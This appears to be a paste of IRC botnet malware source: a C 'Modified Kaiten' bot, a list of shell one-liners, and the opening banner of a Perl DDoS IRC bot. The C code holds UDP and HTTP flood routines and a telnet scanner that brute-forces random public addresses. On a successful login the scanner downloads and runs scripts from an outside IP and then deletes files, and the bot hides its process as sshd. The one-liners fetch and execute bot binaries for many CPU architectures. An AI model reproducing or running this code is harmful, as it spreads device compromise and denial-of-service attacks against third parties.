unsigned int host2ip(char *sender,char *hostname) { | |
static struct in_addr i; | |
struct hostent *h; | |
if((i.s_addr = inet_addr(hostname)) == -1) { | |
if((h = gethostbyname(hostname)) == NULL) { | |
Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname); | |
exit(0); | |
} | |
bcopy(h->h_addr, (char *)&i.s_addr, h->h_length); | |
} | |
return i.s_addr; | |
} | |
int mfork(char *sender) { | |
unsigned int parent, *newpids, i; | |
if (disabled == 1) { | |
Send(sock,"NOTICE %s :Unable to comply.\n",sender); | |
return 1; | |
} | |
parent=fork(); | |
if (parent <= 0) return parent; | |
numpids++; | |
newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int)); | |
for (i=0;i<numpids-1;i++) newpids[i]=pids[i]; | |
newpids[numpids-1]=parent; | |
free(pids); | |
pids=newpids; | |
return parent; | |
} | |
void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; } | |
char *makestring() { | |
char *tmp; | |
int len=(rand()%5)+4,i; | |
FILE *file; | |
tmp=(char*)malloc(len+1); | |
memset(tmp,0,len+1); | |
char *pre; | |
if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65; | |
else { | |
int a=((rand()*rand())%45402)+1; | |
char buf[1024]; | |
for (i=0;i<a;i++) fgets(buf,1024,file); | |
memset(buf,0,1024); | |
fgets(buf,1024,file); | |
filter(buf); | |
memcpy(tmp,buf,len); | |
fclose(file); | |
} | |
return tmp; | |
} | |
void identd() { | |
int sockname,sockfd,sin_size,tmpsock,i; | |
struct sockaddr_in my_addr,their_addr; | |
char szBuffer[1024]; | |
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return; | |
my_addr.sin_family = AF_INET; | |
my_addr.sin_port = htons(443); | |
my_addr.sin_addr.s_addr = INADDR_ANY; | |
memset(&(my_addr.sin_zero), 0, 8); | |
if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return; | |
if (listen(sockfd, 1) == -1) return; | |
if (fork() == 0) return; | |
sin_size = sizeof(struct sockaddr_in); | |
if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0); | |
for(;;) { | |
fd_set bla; | |
struct timeval timee; | |
FD_ZERO(&bla); | |
FD_SET(tmpsock,&bla); | |
timee.tv_sec=timee.tv_usec=60; | |
if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0); | |
if (FD_ISSET(tmpsock,&bla)) break; | |
} | |
i = recv(tmpsock,szBuffer,1024,0); | |
if (i <= 0 || i >= 20) exit(0); | |
szBuffer[i]=0; | |
if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0; | |
if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0; | |
Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident); | |
close(tmpsock); | |
close(sockfd); | |
exit(0); | |
} | |
int matchPrompt(char *bufStr) | |
{ | |
char *prompts = ":>%$#\0"; | |
int bufLen = strlen(bufStr); | |
int i, q = 0; | |
for(i = 0; i < strlen(prompts); i++) | |
{ | |
while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++; | |
if(*(bufStr + bufLen - q) == prompts[i]) return 1; | |
} | |
return 0; | |
} | |
int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex) | |
{ | |
int bufferUsed = initialIndex, got = 0, found = 0; | |
fd_set myset; | |
struct timeval tv; | |
tv.tv_sec = timeout; | |
tv.tv_usec = timeoutusec; | |
unsigned char *initialRead = NULL; | |
while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0)) | |
{ | |
FD_ZERO(&myset); | |
FD_SET(fd, &myset); | |
if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break; | |
initialRead = buffer + bufferUsed; | |
got = recv(fd, initialRead, 1, 0); | |
if(got == -1 || got == 0) return 0; | |
bufferUsed += got; | |
if(*initialRead == 0xFF) | |
{ | |
got = recv(fd, initialRead + 1, 2, 0); | |
if(got == -1 || got == 0) return 0; | |
bufferUsed += got; | |
if(!negotiate(fd, initialRead, 3)) return 0; | |
} else { | |
if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; } | |
} | |
} | |
if(found) return 1; | |
return 0; | |
} | |
static uint8_t ipState[5]; | |
in_addr_t getRandomPublicIP() | |
{ | |
if(ipState[1] > 0 && ipState[4] < 255) | |
{ | |
ipState[4]++; | |
char ip[16]; | |
szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]); | |
return inet_addr(ip); | |
} | |
ipState[1] = 0; | |
ipState[2] = 0; | |
ipState[3] = 0; | |
ipState[4] = 0; | |
while( | |
(ipState[1] == 0) || | |
(ipState[1] == 10) || | |
(ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 127)) || | |
(ipState[1] == 127) || | |
(ipState[1] == 169 && ipState[2] == 254) || | |
(ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) || | |
(ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) || | |
(ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) || | |
(ipState[1] == 192 && ipState[2] == 168) || | |
(ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) || | |
(ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) || | |
(ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) || | |
(ipState[1] >= 224) | |
) | |
{ | |
ipState[1] = rand() % 255; | |
ipState[2] = rand() % 255; | |
ipState[3] = rand() % 255; | |
ipState[4] = rand() % 255; | |
} | |
char ip[16]; | |
szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]); | |
return inet_addr(ip); | |
} | |
//STD Attack | |
void std(int sock, char *sender, int argc, char **argv) { | |
if (mfork(sender) != 0) return; | |
if (argc < 3) { | |
Send(sock,"PRIVMSG %s :>bot +std <target> <port> <secs>\n",chan); | |
exit(0); | |
} | |
unsigned long secs; | |
int iSTD_Sock; | |
iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0); | |
time_t start = time(NULL); | |
secs = atol(argv[3]); | |
Send(sock,"PRIVMSG %s :[STD]Hitting %s!\n",chan,argv[1]); | |
struct sockaddr_in sin; | |
struct hostent *hp; | |
hp = gethostbyname(argv[1]); | |
bzero((char*) &sin,sizeof(sin)); | |
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); | |
sin.sin_family = hp->h_addrtype; | |
sin.sin_port = atol(argv[2]); | |
unsigned int a = 0; | |
while(1){ | |
if (a >= 50) | |
{ | |
send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0); | |
connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin)); | |
if (time(NULL) >= start + secs) | |
{ | |
Send(sock, "PRIVMSG %s :[STD]Done hitting %s!\n", chan, argv[1]); | |
close(iSTD_Sock); | |
exit(0); | |
} | |
a = 0; | |
} | |
a++; | |
} | |
} | |
void stop(int sock, char *sender, int argc, char **argv){ | |
unsigned long i; | |
for (i=0;i<numpids;i++) { | |
if (pids[i] != 0 && pids[i] != getpid()) { | |
if (sender) Send(sock,"PRIVMSG %s :Killing pid %d.\n",chan,pids[i]); | |
kill(pids[i],9); | |
} | |
} | |
} | |
int hostname_to_ip(char * hostname , char* ip) | |
{ | |
struct hostent *he; | |
struct in_addr **addr_list; | |
int i; | |
if ( (he = gethostbyname( hostname ) ) == NULL) | |
{ | |
// get the host info | |
herror("gethostbyname"); | |
return 1; | |
} | |
addr_list = (struct in_addr **) he->h_addr_list; | |
for(i = 0; addr_list[i] != NULL; i++) | |
{ | |
//Return the first one; | |
strcpy(ip , inet_ntoa(*addr_list[i]) ); | |
return 0; | |
} | |
return 1; | |
} | |
void sendhttp(int sock, char *sender, int argc, char **argv) | |
{ | |
if (mfork(sender) != 0) return; | |
if (argc < 3) { | |
Send(sock,"PRIVMSG %s :>bot +http <target> <secs> <GET/HEAD/POST>\n",chan); | |
exit(0); | |
} | |
char *url = argv[1]; | |
char *type = argv[3]; | |
int end_time = atoi(argv[2]); | |
char ip[100]; | |
hostname_to_ip(url , ip); | |
char *UA = useragents[rand() % (sizeof(useragents)/sizeof(char *))]; | |
int end = time(NULL) + end_time; | |
int sockfd; | |
struct sockaddr_in server; | |
server.sin_addr.s_addr = inet_addr(ip); | |
server.sin_family = AF_INET; | |
server.sin_port = htons(80); | |
printf("%s resolved to %s\n" , url , ip); | |
char *command[120]; | |
if(strcmp(type, "GET")){ | |
sprintf(command, "GET / HTTP/1.1\r\nHost: %s\r\nAccept: */*\r\nContent-Type: text/html\r\nContent-Length: 0\r\nUser-Agent: %s\r\n", ip, UA); | |
} else if(strcmp(type, "POST")){ | |
sprintf(command, "POST / HTTP/1.1\r\nHost: %s\r\nAccept: */*\r\nContent-Type: text/html\r\nContent-Length: 0\r\nUser-Agent: %s\r\n", ip, UA); | |
}else if(strcmp(type, "PUT")){ | |
sprintf(command, "PUT / HTTP/1.1\r\nHost: %s\r\nAccept: */*\r\nContent-Type: text/html\r\nContent-Length: 0\r\nUser-Agent: %s\r\n", ip, UA); | |
} else { | |
_exit(0); | |
} | |
Send(sock,"PRIVMSG %s :[HTTP] Attacking %s!\n",chan, url); | |
while(end > time(NULL)) | |
{ | |
sockfd = socket(AF_INET, SOCK_STREAM, 0); | |
connect(sockfd , (struct sockaddr *)&server , sizeof(server)); | |
send(sockfd, command, strlen(command), 0); | |
sleep(1); | |
close(sockfd); | |
} | |
} | |
void StartTheLelz(int sock, char *sender, int argc, char **argv) | |
{ | |
Send(sock,"PRIVMSG %s :Starting Scanner.\n",chan); | |
if (mfork(sender) != 0) return; | |
int max = (getdtablesize() / 4) * 3, i, res; | |
fd_set myset; | |
struct timeval tv; | |
socklen_t lon; | |
int valopt; | |
max = max > 512 ? 512 : max; | |
struct sockaddr_in dest_addr; | |
dest_addr.sin_family = AF_INET; | |
dest_addr.sin_port = htons(23); | |
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero); | |
struct telstate_t | |
{ | |
int fd; | |
uint32_t ip; | |
uint8_t state; | |
uint8_t complete; | |
uint8_t usernameInd; | |
uint8_t passwordInd; | |
uint32_t totalTimeout; | |
uint16_t bufUsed; | |
char *sockbuf; | |
} fds[max]; | |
memset(fds, 0, max * (sizeof(int) + 1)); | |
for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); } | |
struct timeval timeout; | |
timeout.tv_sec = 5; | |
timeout.tv_usec = 0; | |
while(1) | |
{ | |
for(i = 0; i < max; i++) | |
{ | |
switch(fds[i].state) | |
{ | |
case 0: | |
{ | |
memset(fds[i].sockbuf, 0, 1024); | |
if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); } | |
else { | |
fds[i].passwordInd++; | |
if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; } | |
if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; } | |
} | |
dest_addr.sin_family = AF_INET; | |
dest_addr.sin_port = htons(23); | |
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero); | |
dest_addr.sin_addr.s_addr = fds[i].ip; | |
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0); | |
setsockopt (fds[i].fd, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout)); | |
setsockopt (fds[i].fd, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout)); | |
if(fds[i].fd == -1) { continue; } | |
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK); | |
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { /*printf("close %lu\n",fds[i].ip);*/ sclose(fds[i].fd); fds[i].complete = 1; } | |
else { fds[i].state = 1; fds[i].totalTimeout = 0; } | |
} | |
break; | |
case 1: | |
{ | |
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL); | |
FD_ZERO(&myset); | |
FD_SET(fds[i].fd, &myset); | |
tv.tv_sec = 0; | |
tv.tv_usec = 10000; | |
res = select(fds[i].fd+1, NULL, &myset, NULL, &tv); | |
if(res == 1) | |
{ | |
lon = sizeof(int); | |
valopt = 0; | |
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon); | |
if(valopt) | |
{ | |
sclose(fds[i].fd); | |
fds[i].state = 0; | |
fds[i].complete = 1; | |
} else { | |
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK)); | |
fds[i].totalTimeout = 0; | |
fds[i].bufUsed = 0; | |
memset(fds[i].sockbuf, 0, 1024); | |
fds[i].state = 2; | |
continue; | |
} | |
} else if(res == -1) | |
{ | |
sclose(fds[i].fd); | |
fds[i].state = 0; | |
fds[i].complete = 1; | |
} | |
if(fds[i].totalTimeout + 5 < time(NULL)) //was if(fds[i].totalTimeout + 5 < time(NULL)) | |
{ | |
sclose(fds[i].fd); | |
fds[i].state = 0; | |
fds[i].complete = 1; | |
} | |
} | |
break; | |
case 2: | |
{ | |
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL); | |
if(matchPrompt(fds[i].sockbuf)) { | |
fds[i].state = 7; | |
} | |
if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed)) | |
{ | |
fds[i].totalTimeout = 0; | |
fds[i].bufUsed = 0; | |
memset(fds[i].sockbuf, 0, 1024); | |
fds[i].state = 3; | |
continue; | |
} else { | |
fds[i].bufUsed = strlen(fds[i].sockbuf); | |
} | |
if(fds[i].totalTimeout + 30 < time(NULL)) | |
{ | |
sclose(fds[i].fd); | |
fds[i].state = 0; | |
fds[i].complete = 1; | |
} | |
} | |
break; | |
case 3: | |
{ | |
if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; } | |
if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; } | |
fds[i].state = 4; | |
} | |
break; | |
case 4: | |
{ | |
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL); | |
if(readUntil(fds[i].fd, "assword:", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed)) | |
{ | |
fds[i].totalTimeout = 0; | |
fds[i].bufUsed = 0; | |
if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5; | |
else fds[i].state = 7; | |
memset(fds[i].sockbuf, 0, 1024); | |
continue; | |
} else { | |
if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; } | |
fds[i].bufUsed = strlen(fds[i].sockbuf); | |
} | |
if(fds[i].totalTimeout + 8 < time(NULL)) //was if(fds[i].totalTimeout + 8 < time(NULL)) | |
{ | |
sclose(fds[i].fd); | |
fds[i].state = 0; | |
fds[i].complete = 1; | |
} | |
} | |
break; | |
case 5: | |
{ | |
if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; } | |
if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; } | |
fds[i].state = 6; | |
} | |
break; | |
case 6: | |
{ | |
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL); | |
if(readUntil(fds[i].fd, "ncorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed)) | |
{ | |
fds[i].totalTimeout = 0; | |
fds[i].bufUsed = 0; | |
if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; } | |
if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; } | |
else fds[i].state = 7; | |
memset(fds[i].sockbuf, 0, 1024); | |
continue; | |
} else { | |
fds[i].bufUsed = strlen(fds[i].sockbuf); | |
} | |
if(fds[i].totalTimeout + 30 < time(NULL)) | |
{ | |
sclose(fds[i].fd); | |
fds[i].state = 0; | |
fds[i].complete = 1; | |
} | |
} | |
break; | |
case 7: | |
{ | |
if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; } | |
fds[i].state = 8; | |
} | |
break; | |
case 8: | |
{ | |
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL); | |
if(send(fds[i].fd, "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://2.56.8.80/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 2.56.8.80 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 2.56.8.80; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 2.56.8.80 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", 395, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; memset(fds[i].sockbuf, 0, 1024); continue; } | |
if(fds[i].totalTimeout + 45 < time(NULL)) | |
{ | |
sclose(fds[i].fd); | |
fds[i].state = 0; | |
fds[i].complete = 1; | |
} | |
} | |
break; | |
} | |
} | |
} | |
} | |
void unknown(int sock, char *sender, int argc, char **argv) { | |
int flag=1,fd,i; | |
unsigned long secs; | |
char *buf=(char*)malloc(9216); | |
struct hostent *hp; | |
struct sockaddr_in in; | |
time_t start=time(NULL); | |
if (mfork(sender) != 0) return; | |
if (argc != 2) { | |
Send(sock,"PRIVMSG %s :>bot +unknown <target> <port> <secs>\n",chan); | |
exit(0); | |
} | |
secs=atol(argv[3]); | |
memset((void*)&in,0,sizeof(struct sockaddr_in)); | |
in.sin_addr.s_addr=host2ip(sender,argv[1]); | |
in.sin_family = AF_INET; | |
Send(sock,"PRIVMSG %s :[UNK]Hitting %s!\n",chan,argv[1]); | |
while(1) { | |
in.sin_port = atol(argv[2]); | |
if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0){ | |
} else { | |
flag=1; | |
ioctl(fd,FIONBIO,&flag); | |
sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in)); | |
close(fd); | |
} | |
if (i >= 50) { | |
if (time(NULL) >= start+secs) break; | |
i=0; | |
} | |
i++; | |
} | |
Send(sock,"PRIVMSG %s :[UNK]Done hitting %s!\n",chan,argv[1]); | |
close(fd); | |
exit(0); | |
} | |
//Kill the bot | |
void killsec(int sock, char *sender, int argc, char **argv) { | |
if(strcasecmp(adminuser1,sender) == 0){ | |
kill(0,9); | |
} else { | |
Send(sock,"PRIVMSG %s :Nice try...\n", chan); | |
} | |
} | |
struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = { | |
{ "+std" , std }, | |
{ "+stop" , stop }, | |
{ "+unknown" , unknown }, | |
{ "+scanner" , StartTheLelz }, | |
{ "+http" , sendhttp }, | |
{ "GikbsyigbIGY" , killsec }, | |
{ (char *)0, (void (*)(int,char *,int,char **))0 } }; | |
void _PRIVMSG(int sock, char *sender, char *str) { | |
int i; | |
char *to, *message; | |
for (i=0;i<strlen(str) && str[i] != ' ';i++); | |
str[i]=0; | |
to=str; | |
message=str+i+2; | |
for (i=0;i<strlen(sender) && sender[i] != '!';i++); | |
sender[i]=0; | |
if (*message == '>' && !strcasecmp(to,chan)) { | |
char *params[12], name[1024]={0}; | |
int num_params=0, m; | |
message++; | |
for (i=0;i<strlen(message) && message[i] != ' ';i++); | |
message[i]=0; | |
if (strwildmatch(message,nick)) return; | |
message+=i+1; | |
m=strlen(message); | |
for (i=0;i<m;i++) { | |
if (*message == ' ' || *message == 0) break; | |
name[i]=*message; | |
message++; | |
} | |
for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++; | |
num_params++; | |
if (num_params > 10) num_params=10; | |
params[0]=name; | |
params[num_params+1]="\0"; | |
m=1; | |
while (*message != 0) { | |
message++; | |
if (m >= num_params) break; | |
for (i=0;i<strlen(message) && message[i] != ' ';i++); | |
params[m]=(char*)malloc(i+1); | |
strncpy(params[m],message,i); | |
params[m][i]=0; | |
m++; | |
message+=i; | |
} | |
for (m=0; flooders[m].cmd != (char *)0; m++) { | |
if (!strcasecmp(flooders[m].cmd,name)) { | |
flooders[m].func(sock,sender,num_params-1,params); | |
for (i=1;i<num_params;i++) free(params[i]); | |
return; | |
} | |
} | |
} | |
} | |
void _376(int sock, char *sender, char *str) { | |
Send(sock,"MODE %s +pixB\n",nick); | |
Send(sock,"JOIN %s :%s\n",chan,key); | |
Send(sock,"WHO %s\n",nick); | |
} | |
void _PING(int sock, char *sender, char *str) { | |
Send(sock,"PONG %s\n",str); | |
} | |
void _352(int sock, char *sender, char *str) { | |
int i,d; | |
char *msg=str; | |
struct hostent *hostm; | |
unsigned long m; | |
for (i=0,d=0;d<5;d++) { | |
for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++; | |
if (i == strlen(str)) return; | |
} | |
for (i=0;i<strlen(msg) && msg[i] != ' ';i++); | |
msg[i]=0; | |
if (!strcasecmp(msg,nick) && !spoofsm) { | |
msg=str; | |
for (i=0,d=0;d<3;d++) { | |
for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++; | |
if (i == strlen(str)) return; | |
} | |
for (i=0;i<strlen(msg) && msg[i] != ' ';i++); | |
msg[i]=0; | |
if ((m = inet_addr(msg)) == -1) { | |
if ((hostm=gethostbyname(msg)) == NULL) { | |
Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan); | |
return; | |
} | |
memcpy((char*)&m, hostm->h_addr, hostm->h_length); | |
} | |
((char*)&spoofs)[3]=((char*)&m)[0]; | |
((char*)&spoofs)[2]=((char*)&m)[1]; | |
((char*)&spoofs)[1]=((char*)&m)[2]; | |
((char*)&spoofs)[0]=0; | |
spoofsm=256; | |
} | |
} | |
void _433(int sock, char *sender, char *str) { | |
free(nick); | |
char tempnick[50]; | |
char *strpref = PREFIX; | |
char *genname = makestring(); | |
strcpy(tempnick,strpref); | |
strcat(tempnick,genname); | |
nick=tempnick; | |
} | |
struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = { | |
{ "352", _352 }, | |
{ "376", _376 }, | |
{ "433", _433 }, | |
{ "422", _376 }, | |
{ "PRIVMSG", _PRIVMSG }, | |
{ "PING", _PING }, | |
{ (char *)0, (void (*)(int,char *,char *))0 } }; | |
void con() { | |
struct sockaddr_in srv; | |
unsigned long ipaddr,start; | |
int flag; | |
struct hostent *hp; | |
start: | |
sock=-1; | |
flag=1; | |
if (changeservers == 0) server=servers[rand()%numservers]; | |
changeservers=0; | |
while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0); | |
if (inet_addr(server) == 0 || inet_addr(server) == -1) { | |
if ((hp = gethostbyname(server)) == NULL) { | |
server=NULL; | |
close(sock); | |
goto start; | |
} | |
bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length); | |
} | |
else srv.sin_addr.s_addr=inet_addr(server); | |
srv.sin_family = AF_INET; | |
srv.sin_port = htons(443); | |
ioctl(sock,FIONBIO,&flag); | |
start=time(NULL); | |
while(time(NULL)-start < 10) { | |
errno=0; | |
if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) { | |
setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0); | |
setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0); | |
setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0); | |
return; | |
} | |
if (!(errno == EINPROGRESS ||errno == EALREADY)) break; | |
sleep(1); | |
} | |
server=NULL; | |
close(sock); | |
goto start; | |
} | |
int main(int argc, char *argv[]) { | |
int on,i; | |
char cwd[256],*str; | |
FILE *file; | |
if (fork()) exit(0); | |
char *mynameis = ""; | |
if(access("/usr/bin/python", F_OK) != -1){ | |
mynameis = "sshd"; | |
} else { | |
mynameis = "/usr/sbin/dropbear"; | |
} | |
strncpy(argv[0],"",strlen(argv[0])); | |
sprintf(argv[0], mynameis); | |
prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0); | |
srand((time(NULL) ^ getpid()) + getppid()); | |
char tempnick[50]; | |
char *strpref = PREFIX; | |
char *genname = makestring(); | |
strcpy(tempnick,strpref); | |
strcat(tempnick,genname); | |
nick=tempnick; | |
ident="Kaiten"; | |
user="Modified Kaiten"; | |
chan=CHAN; | |
key=KEY; | |
pass=PASS; | |
server=NULL; | |
sa: | |
#ifdef IDENT | |
for (i=0;i<numpids;i++) { | |
if (pids[i] != 0 && pids[i] != getpid()) { | |
kill(pids[i],9); | |
waitpid(pids[i],NULL,WNOHANG); | |
} | |
} | |
pids=NULL; | |
numpids=0; | |
identd(); | |
#endif | |
con(); | |
Send(sock,"PASS %s\n", pass); | |
Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user); | |
while(1) { | |
unsigned long i; | |
fd_set n; | |
struct timeval tv; | |
FD_ZERO(&n); | |
FD_SET(sock,&n); | |
tv.tv_sec=60*20; | |
tv.tv_usec=0; | |
if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa; | |
for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) { | |
unsigned int *newpids,on; | |
for (on=i+1;on<numpids;on++) pids[on-1]=pids[on]; | |
pids[on-1]=0; | |
numpids--; | |
newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int)); | |
for (on=0;on<numpids;on++) newpids[on]=pids[on]; | |
free(pids); | |
pids=newpids; | |
} | |
if (FD_ISSET(sock,&n)) { | |
char buf[4096], *str; | |
int i; | |
if ((i=recv(sock,buf,4096,0)) <= 0) goto sa; | |
buf[i]=0; | |
str=strtok(buf,"\n"); | |
while(str && *str) { | |
char name[1024], sender[1024]; | |
filter(str); | |
if (*str == ':') { | |
for (i=0;i<strlen(str) && str[i] != ' ';i++); | |
str[i]=0; | |
strcpy(sender,str+1); | |
strcpy(str,str+i+1); | |
} | |
else strcpy(sender,"*"); | |
for (i=0;i<strlen(str) && str[i] != ' ';i++); | |
str[i]=0; | |
strcpy(name,str); | |
strcpy(str,str+i+1); | |
for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str); | |
if (!strcasecmp(name,"ERROR")) goto sa; | |
str=strtok((char*)NULL,"\n"); | |
} | |
} | |
} | |
return 0; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cd /tmp && wget -q http://2.56.8.80/zbotmipsel && chmod +x zbotmipsel && ./zbotmipsel | |
cd /tmp && wget -q http://2.56.8.80/zbotmips && chmod +x zbotmips && ./zbotmips | |
cd /tmp && wget -q http://2.56.8.80/zbotsh4 && chmod +x zbotsh4 && ./zbotsh4 | |
cd /tmp && wget -q http://2.56.8.80/zbotx86 && chmod +x zbotx86 && ./zbotx86 | |
cd /tmp && wget -q http://2.56.8.80/zbotarmv6 && chmod +x zbotarmv6 && ./zbotarmv6 | |
cd /tmp && wget -q http://2.56.8.80/zboti686 && chmod +x zboti686 && ./zboti686 | |
cd /tmp && wget -q http://2.56.8.80/zbotpowerpc && chmod +x zbotpowerpc && ./zbotpowerpc | |
cd /tmp && wget -q http://2.56.8.80/zboti586 && chmod +x zboti586 && ./zboti586 | |
cd /tmp && wget -q http://2.56.8.80/zbotm86k && chmod +x zbotm86k && ./zbotm86k | |
cd /tmp && wget -q http://2.56.8.80/zbotsparc && chmod +x zbotsparc && ./zbotsparc |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
###################################################################################################################### | |
###################################################################################################################### | |
## DDoS Perl IrcBot v1.0 / 2012 by w0rmer Security Team ## [ Help ] ######################################### | |
## Stealth MultiFunctional IrcBot writen in Perl ####################################################### | |
## Teste on every system with PERL instlled ## !u @system ## | |
## ## !u @version ## | |
## This is a free program used on your own risk. ## !u @channel ## | |
## Created for educational purpose only. ## !u @flood ## | |
## I'm not responsible for the illegal use of this program. ## !u @utils ## | |
###################################################################################################################### | |
## [ Channel ] #################### [ Flood ] ################################## [ Utils ] ########################### | |
###################################################################################################################### | |
